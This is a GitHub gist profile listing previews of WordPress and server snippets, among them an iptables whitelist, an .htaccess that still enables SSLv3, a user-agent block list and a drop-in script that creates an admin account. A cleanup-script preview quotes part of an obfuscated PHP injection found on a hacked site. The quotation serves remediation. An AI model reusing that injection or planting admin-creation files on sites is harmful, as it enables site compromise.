Skip to content

Instantly share code, notes, and snippets.

View cdsalmons's full-sized avatar

Dustin Salmons cdsalmons

View GitHub Profile
@cdsalmons
cdsalmons / Remove-Stuff.php
Created October 23, 2016 00:09 — forked from wycks/Remove-Stuff.php
Remove WordPress Admin Stuff
<?php
/**
* @package WordPress
* @subpackage WP-Skeleton
*/
// REMOVE SOME HEADER OUTPUT
function Wps_remove_header_info() {
remove_action('wp_head', 'rsd_link');
@cdsalmons
cdsalmons / whitelist-pingdom-iptables.sh
Last active August 28, 2016 04:20
Whitelist Pingdom probe-servers in iptables
#!/bin/bash
#
# Whitelist Pingdom probe-servers in iptables.
#
# Create a chain called "PINGDOM" and jump to it somewhere before
# the final REJECT/DROP, e.g.
#
# # New chain for Pingdom rules
# :PINGDOM - [0:0]
#
@cdsalmons
cdsalmons / wp-config.php
Created February 3, 2016 12:44
WP Starting point
<?php
/**
* Custom WordPress configurations on "wp-config.php" file.
*
* This file has the following configurations: MySQL settings, Table Prefix, Secret Keys, WordPress Language, ABSPATH and more.
* For more information visit {@link https://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php} Codex page.
*
* @package WordPress
* @generator GenerateWP.com
*/
@cdsalmons
cdsalmons / .htaccess
Last active February 3, 2016 13:34
Wordpress htaccess File
<IfModule mod_headers.c>
# Use HTTP Strict Transport Security to force client to use secure connections only
Header always set Strict-Transport-Security "max-age=15768000; includeSubDomains"
</IfModule>
SSLHonorCipherOrder On
SSLProtocol -ALL +SSLv3 +TLSv1 +TLSv1.1 +TLSv1.2
#SSLProtocol ALL -TLSv1 -SSLv2
# CVE-2011-3389
SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown
@cdsalmons
cdsalmons / 0_reuse_code.js
Created November 9, 2015 13:55
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@cdsalmons
cdsalmons / wordpress-hack-cleanup.php
Created November 1, 2015 09:38 — forked from owise1/wordpress-hack-cleanup.php
Hacked Wordpress Cleanup Script
<?
/**
* A script to cleanup a hacked Wordpress site.
*
* The hacker prepended the following to most/all of the .php files:
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782
@cdsalmons
cdsalmons / pecl-memcached.sh
Created October 24, 2015 23:26 — forked from paul91/pecl-memcached.sh
How to install php memcached on CentOS 6.5
#!/bin/bash
# How to install PHP memcached on CentOS 6.5
# Install dependencies
yum install cyrus-sasl-devel zlib-devel gcc-c++
# Get the latest libmemcached
wget https://launchpad.net/libmemcached/1.0/1.0.16/+download/libmemcached-1.0.16.tar.gz
tar -xvf libmemcached-1.0.16.tar.gz
@cdsalmons
cdsalmons / recursive-copy.php
Created September 28, 2015 21:24
PHP: Recursively copy a directory, including symlink support
<?php
// Based on
// http://uk1.php.net/manual/en/function.copy.php#104020
function copy_dir($src, $dst)
{
if (is_link($src)) {
symlink(readlink($src), $dst);
} elseif (is_dir($src)) {
mkdir($dst);
@cdsalmons
cdsalmons / BlockUA
Created August 30, 2015 03:27
nano /etc/pache2/httpd.conf
# Lists
# http://www.user-agents.org/index.shtml
# http://user-agents.my-addr.com
ServerTokens Prod
ServerSignature Off
<Location />
@cdsalmons
cdsalmons / create-spcm-admin.php
Created August 27, 2015 03:05
Create WordPress Admin User Script
<?php
// ADD NEW ADMIN USER TO WORDPRESS
// ----------------------------------
// Put this file in your Wordpress root directory and run it from your browser.
// Delete it when you're done.
require_once('wp-blog-header.php');
require_once('wp-includes/registration.php');
// ----------------------------------------------------
// CONFIG VARIABLES
// Make sure that you set these before running the file.